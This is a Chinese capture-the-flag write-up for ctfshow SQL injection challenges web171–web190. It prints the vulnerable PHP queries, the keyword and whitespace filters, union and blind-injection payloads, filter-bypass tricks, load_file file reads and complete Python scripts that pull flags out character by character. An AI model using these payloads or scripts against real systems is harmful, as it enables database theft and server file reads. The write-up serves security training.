web171-web190SQL注入篇

web171

1
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

三栏一眼丁真,直接内容拼入即可。

1
-1' union select 1,2,database() --+

查询库名:

1
-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

information_schema,test,mysql,performance_schema,ctfshow_web
查询表名:

1
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

ctfshow_user
查询字段

1
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+

id,username,password
三栏直接输出三种:

1
-1' union select id,username,password from ctfshow_web.ctfshow_user --+

image.png
当然 sqlmap也是可以的。直接开注入

web172

1
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

现实位置变为了两个。
通过上题的数据库结构可以直接出payload

1
-1' union select 1,password from ctfshow_web.ctfshow_user2  --+

image.png

web173

1
2
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";

一样payload

1
-1' union select 1,2,password from ctfshow_web.ctfshow_user3 --+

web174、web175

说是考的基础,那么就一步一步来。

1
2
3
4
5
6
7
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";

//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}

有返回过滤了。
174、175怎么输入什么都提示错误。

web176

大小写绕过过滤

简单过滤,大小写就能绕过过滤。

1
-1' uNion SeLeCt 1,2,password from ctfshow_user --+

web177

/**/、%09、%0a-%d绕过空格过滤

https://blog.csdn.net/acsuccess/article/details/69360931 绕过空格过滤

过滤了空格,把空格更换一下即可
以下是几种常见绕过过滤的方法。

  • 注释绕过 /**/
  • 括号绕过 select(user())from dual where(1=1)and(2=2)

除此之外要注意一下,上面几道题的payload中的+会被转义为空格,因此如果使用+就会出现无法查询的情况。
那么就要使用url转义来绕过空格。
比如:

  • Tab > %09
  • 换页符 > %0c

这两个都是可以的。
于是就可以得到payload:

1
?id=0'/**/union/**/select/**/id,username,password/**/from/**/ctfshow_user/**/--%09

web178

/**/、%09、%0a-%d绕过空格过滤

/**/过滤掉了那就只能使用上面两个转义符绕过了。
那就用%09

1
-1'%09union%09select%091,2,password%09from%09ctfshow_user%09--%09

注意,经过测试,%09可以替换为%0a-%0d均可以

web179

/**/、%09、%0a-%d绕过空格过滤

/**/等都被过滤了,可以使用%0c和%0d绕过过滤。

1
-1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0c--%0c

web180-web182

过滤了所有的空白符号。
这里网上给的办法是直接去根据id直接查,其实也可以。

1
2
3
-1'||id=26||'
或者
-1'or(id=26)and''='

可以使用第二种这种将末尾的单引号闭合就可以不用注释符号了

web183

盲注

1
2
3
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
}

有两种payload。

1
2
3
4
5
[POST]PAYLOAD:
tableName=`ctfshow_user`where((substr(`pass`,1,8)regexp("ctfshow{")))

[POST]PAYLOAD:
tableName=(ctfshow_user)where(pass)like'ctfshow{%25'

这里分别解释一下两个语句:

regexp和like关键字 %和_标识符

第一个payload:
REGEXP 是 SQL 中的一个模式匹配操作符,它用于在字符串中查找与给定的正则表达式匹配的子串。
第二个paylaod:
LIKE操作符使用字符串匹配模式来比较列的值,常见的模式匹配特殊字符是 % (百分号) 和 _ (下划线)。
‘aa%’:这是一个用于匹配的模式。在这个例子中,’aa%’表示以”aa”开头的任意字符或字符串。%是LIKE操作符的通配符,代表任意数量的字符(包括零个字符)。
也就是匹配aabbs
当我们使用 LIKE 操作符和下划线 _ 结合时,它表示匹配单个字符的任意位置,类似于通配符?
也就是匹配aab
这里使用py写脚本。
第一种:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# -*- encoding: utf-8 -*-
"""
@File : SQL盲注.py
@Contact : 2997453446@qq.com
@Blog : natro92.github.io

@Modify Time @Author @Version @Desciption
------------ ------- -------- -----------
2023/7/10 17:49 natro92 1.0 None
"""
import requests
import string

url = r'http://0d89238a-2c87-4371-b427-2670ebb10351.challenge.ctf.show/select-waf.php'
str = r'0123456789-abcdefghijklmnopqrstuvwxyz}'
flag_pre = 'ctfshow{'
payload = "(ctfshow_user)where(pass)regexp'{}'"

i = 0
key = 0
while(1):
if key == 1:
break
print(i)
i = i + 1
for j in str:
data = {
'tableName': payload.format(flag_pre + j)
}
r = requests.post(url, data=data)
if '$user_count = 1' in r.text:
flag_pre += j
print(flag_pre)
if j == '}':
key = 1

第二种:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# -*- encoding: utf-8 -*-
"""
@File : SQL盲注.py
@Contact : 2997453446@qq.com
@Blog : natro92.github.io

@Modify Time @Author @Version @Desciption
------------ ------- -------- -----------
2023/7/10 17:49 natro92 1.0 None
"""
import requests
import string

url = r'http://0d89238a-2c87-4371-b427-2670ebb10351.challenge.ctf.show/select-waf.php'
str = r'0123456789-abcdefghijklmnopqrstuvwxyz}'
flag_pre = 'ctfshow{'
payload = '(ctfshow_user)where(pass)like"{}%"'


i = 0
key = 0
while(1):
if key == 1:
break
print(i)
i = i + 1
for j in str:
data = {
'tableName': payload.format(flag_pre + j)
}
r = requests.post(url, data=data)
if 'count = 1' in r.text:
flag_pre += j
print(flag_pre)
if j == '}':
key = 1

web184

右连接

1
2
3
4
5
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

什么是右连接

SQL 中的右连接(Right Join)用于将两个表按照指定的列进行连接,并返回右侧表中所有行及其与左侧表中匹配行的列值,如果左侧表中没有匹配的行,则返回 NULL 值。
比如:

1
2
3
4
SELECT columns
FROM table1
RIGHT JOIN table2
ON table1.column = table2.column;

比如:

1
2
3
4
SELECT students.name, scores.score
FROM students
RIGHT JOIN scores
ON students.id = scores.student_id;

在这个例子中,我们使用 RIGHT JOIN 将 scores 表右连接到 students 表上,按照 students.id 和 scores.student_id 进行连接,查询学生姓名和对应的成绩。如果 scores 表中没有匹配的行,则返回 NULL 值。
因此这道题里面就可以使用如下payload:

1
tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686f7725

0x63746673686f7725是ctfshow%的十六进制编码
python中可以使用以下代码实现转换为十六进制:

1
2
import binascii
print(binascii.b2a_hex(str('ctfshow%').encode()).decode().replace("b'", '').replace("'", ""))

然后就可以写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# -*- encoding: utf-8 -*-
"""
@File : SQL盲注2.py
@Contact : 2997453446@qq.com
@Blog : natro92.github.io

@Modify Time @Author @Version @Desciption
------------ ------- -------- -----------
2023/7/10 19:49 natro92 1.0 None
"""
import requests
import string
import binascii


def _2hex(s):
"""
:param s: 需要转为十六进制的字符串
:return: 十六进制结果
"""
return binascii.b2a_hex(s.encode()).decode().replace("b'", '').replace("'", "")


url = r'http://303b0ea1-6fc8-4947-9730-47d85b4a3c1c.challenge.ctf.show/select-waf.php'
str = r'0123456789abcdefghijklmnopqrstuvwxyz-}'
flag_pre = 'ctfshow{'
payload = "ctfshow_user as a right join ctfshow_user as b on b.pass like {}"

i = 0
key = 0
while (1):
if key == 1:
break
print(i)
i += 1
for j in str:
data = {
'tableName': payload.format('0x' + _2hex(flag_pre + j + "%"))
}
r = requests.post(url, data=data)
if '$user_count = 43' in r.text:
flag_pre += j
print(flag_pre)
if j == '}':
key = 1

注意,判断条件的43是使用payload所知道的。
此外,还可以使用如下payload:

1
tableName=ctfshow_user group by pass having pass  like 0x63746673686f7725

group by和having关键字

HAVING 是 SQL 中用于对分组后的结果进行筛选的关键字。它通常与 GROUP BY 关键字一起使用,用于对分组后的结果进行聚合计算和筛选。
比如:

1
2
3
4
SELECT student, AVG(score) AS avg_score
FROM scores
GROUP BY student
HAVING avg_score >= 90;

HAVING pass LIKE 0x63746673686f7725 对分组后的结果进行筛选,只返回 pass 列中包含字符串 0x63746673686f7725 的分组。
这里就不写脚本了,注意所对应的条件是返回中存在$user_count = 1

web185、web186

使用true关键字等来绕过数字过滤 chr函数

数字被过滤了。

1
2
3
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

true关键字再mysql中等价为1,也就是可以true+true=2,因此可以由此构造出任何数字。
因此我们可以字符串->转为十进制数字->chr和concat函数拼接合成为payload中的需要字符串。
脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# -*- encoding: utf-8 -*-
"""
@File : SQL盲注3.py
@Contact : 2997453446@qq.com
@Blog : natro92.github.io

@Modify Time @Author @Version @Desciption
------------ ------- -------- -----------
2023/7/10 20:16 natro92 1.0 None
"""
import requests
import string
import binascii


# 将数字转换为true相加
def num2True(num):
a = 'true'
if num != 1:
for i in range(num - 1):
a += '+true'
return a

# 将文本转换为concat和chr函数结合的格式
# 比如:aa -> chr(一大堆true相加),chr(又一大堆true相加)
def change_style(s):
str1 = ''
str1 += 'chr(' + num2True(ord(s[0])) + ')'
for i in s[1:]:
str1 += ',chr(' + num2True(ord(i)) + ')'
return str1

url = r'http://76c1b9c5-22be-4d38-8e83-4cdf71d2b93a.challenge.ctf.show/select-waf.php'
str = r'0123456789abcdefghijklmnopqrstuvwxyz-}'
flag_pre = 'ctfshow{'
payload = "ctfshow_user as a right join ctfshow_user as b on b.pass like(concat({}))"

i = 0
key = 0
while (1):
if key == 1:
break
print(i)
i += 1
for j in str:
data = {
'tableName': payload.format(change_style(flag_pre + j + '%'))
}
r = requests.post(url, data=data)
if '$user_count = 43' in r.text:
flag_pre += j
print(flag_pre)
if j == '}':
key = 1

注意

不止有true可以生成任意数字,以下几个函数也可以:

1
ceil() floor() true version() pi()

web187

绕过sqlMD5加密的万能串ffifdyop

用MD5加密密码,ffifdyop正好可以得到'or'6�]��!r,��b
也就达到了绕过的目的。
注意flag在返回包中。

web188

弱比较 sql中||等价于or

1
2
3
4
5
//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}

flag为字符串,字符串的intval永远为0.因此传入0即可。
username=1||1&password=0

*web189

布尔盲注 if load_file locate

提示里有说:

1
flag在api/index.php文件中

那么这里就需要盲注来解决。
mysql导入外部文件查询。

  • load_file(path)导入文件
  • locate(substr,str)获取匹配到的字符串位置

这道题的payload就是:

1
if(locate("ctfshow{",' + 'load_file("/var/www/html/api/index.php"))>这里是位置,0,1)

让我们看看gpt怎么说
如果 ‘ctfshow{‘ 在 “/var/www/html/api/index.php” 文件的内容中存在,并且位置大于 1(即找到了),那么条件表达式 locate(“ctfshow{“,’ + ‘load_file(“/var/www/html/api/index.php”))>1 将返回真,进入条件为真的分支,即返回 0。
接下来就是写脚本。
这个脚本最开始每太想出来怎么写,看了下大佬们的wp,才明白。这里会将wp中的脚本也列举出来。
脚本的思路就是,先搜索到flag的位置,然后一步一步给他读出来。
盲注需要找到回显的地方。
可以注意到,密码为0时,当账号为0,返回的是密码错误
image.png
当账号为1时,返回的是查询失败
image.png
吧,payload测试一半不能用了,以为是写错了,重启靶场就好了。
用下面这个来看是什么字符

1
if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),0,1)

勾吧题, wp很好理解,脚本写了三个小时整。
6点48开始写 9点48才写完。太抽象了
image.png
python基础太差了,就这还是照着wp的解法写的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# -*- encoding: utf-8 -*-
"""
@File : SQL布尔盲注.py
@Contact : 2997453446@qq.com
@Blog : natro92.github.io

@Modify Time @Author @Version @Desciption
------------ ------- -------- -----------
2023/7/11 18:48 natro92 1.0 None
"""

import string
import requests

url = r'http://2daeac7e-8170-4826-9997-2b4a8a6ec9ca.challenge.ctf.show/api/'
flag_pre = 'ctfshow{'
str1 = "abcdefghijklmnopqr-stuvwxyz0123456789{<>$=,;_ }"
payload = ''


# 先找flag在哪:
def find_flag():
left = 0
right = 1000 # 这里根据实际情况进行修改
while left < right:
mid = (left + right) // 2 # //floor整除
data = {
'username': 'if(locate("' + flag_pre + '",load_file("/var/www/html/api/index.php"))>{},0,1)'.format(mid),
'password': '0'
}
r = requests.post(url, data=data)
if '密码错误' in r.json()['msg']:
left = mid + 1
else:
right = mid
return int(mid)


def get_flag(pos1, flag_pre1, stra):
pos1 += len(flag_pre1)+1
while 1:
for j in stra:
data = {
'username': "if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),0,1)".format(str(pos1), j),
'password': '0'
}
r = requests.post(url, data=data)
# print(data)
# print(r.json()['msg'])
if '密码错误' in r.json()['msg']:
flag_pre1 += j
pos1 += 1
break
if j == '}':
exit()
print(flag_pre1)
return flag_pre1

pos = find_flag()
print(get_flag(pos, flag_pre, str1))

注意

这里面payload是不能使用单引号的,单引号会导致前面闭合以至于不能够查询。要使用双引号。
image.png

web190

在查询语句里面加了单引号username = '{$username}'
不用读文件了,直接就读数据就可以。
payload:
username=admin'||1||'
那就可以把上面那个payload去掉第一段方法。
找到布尔盲注构造位置:
username=admin'and+0#&password=0
返回用户名不存在
username=admin'and+1#&password=0
返回密码错误
由此编写脚本:(20min)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- encoding: utf-8 -*-
"""
@File : SQL布尔盲注2.py
@Contact : 2997453446@qq.com
@Blog : natro92.github.io

@Modify Time @Author @Version @Desciption
------------ ------- -------- -----------
2023/7/11 22:02 natro92 1.0 None
"""
import string
import requests


url = r'http://96880f33-872c-4e26-9e91-a87d096bb6e2.challenge.ctf.show/api/'
flag_pre = 'ctfshow{'
str1 = "abcdefghijklmnopqrstuvwxyz0123456789{<>$=,;_ -}"
# payload = "admin'and+if(substr(database(),{},1)=('{}'),1,0)#"
payload = "admin'and+if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)=('{}'),1,0)#"
res = ''

for i in range(1,100):
for j in str1:
data = {
'username': payload.format(i, j),
'password': '0'
}
r = requests.post(url, data=data)
# print(data)
# print(r.json()['msg'])
if '密码错误' in r.json()['msg']:
res += j
print(res)
break
if j == '}':
exit()

分别修改payload参数可以得到需要的名称:

1
payload = "admin'and+if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)=('{}'),1,0)#"

ctfshow_fl0g,ctfshow_user

1
payload = "admin'and+if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1)=('{}'),1,0)#"

id,f1ag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# -*- encoding: utf-8 -*-
"""
@File : SQL布尔盲注2.py
@Contact : 2997453446@qq.com
@Blog : natro92.github.io

@Modify Time @Author @Version @Desciption
------------ ------- -------- -----------
2023/7/11 22:02 natro92 1.0 None
"""
import string
import requests
import time


url = r'http://96880f33-872c-4e26-9e91-a87d096bb6e2.challenge.ctf.show/api/'
flag_pre = 'ctfshow{'
str1 = "abcdefghijklmnopqrstuvwxyz0123456789{<>$=,;_ -}"
# payload = "admin'and+if(substr(database(),{},1)=('{}'),1,0)#"
# payload = "admin'and+if(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1)=('{}'),1,0)#"
payload = "admin'and+if(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1)=('{}'),1,0)#"
res = ''

for i in range(1,100):
for j in str1:
data = {
'username': payload.format(i, j),
'password': '0'
}
r = requests.post(url, data=data)
# print(data)
# print(r.json()['msg'])
if '密码错误' in r.json()['msg']:
res += j
print(res)
break
time.sleep(0.3)
if j == '}':
exit()

总结

如果脚本编写异常,

1
2
print(data)
print(r.json()['msg'])

这俩玩应是非常有用的。
如果由于因为太快导致的json报错,可以手动加一行休眠

1
2
import time 
time.sleep(0.3)

即可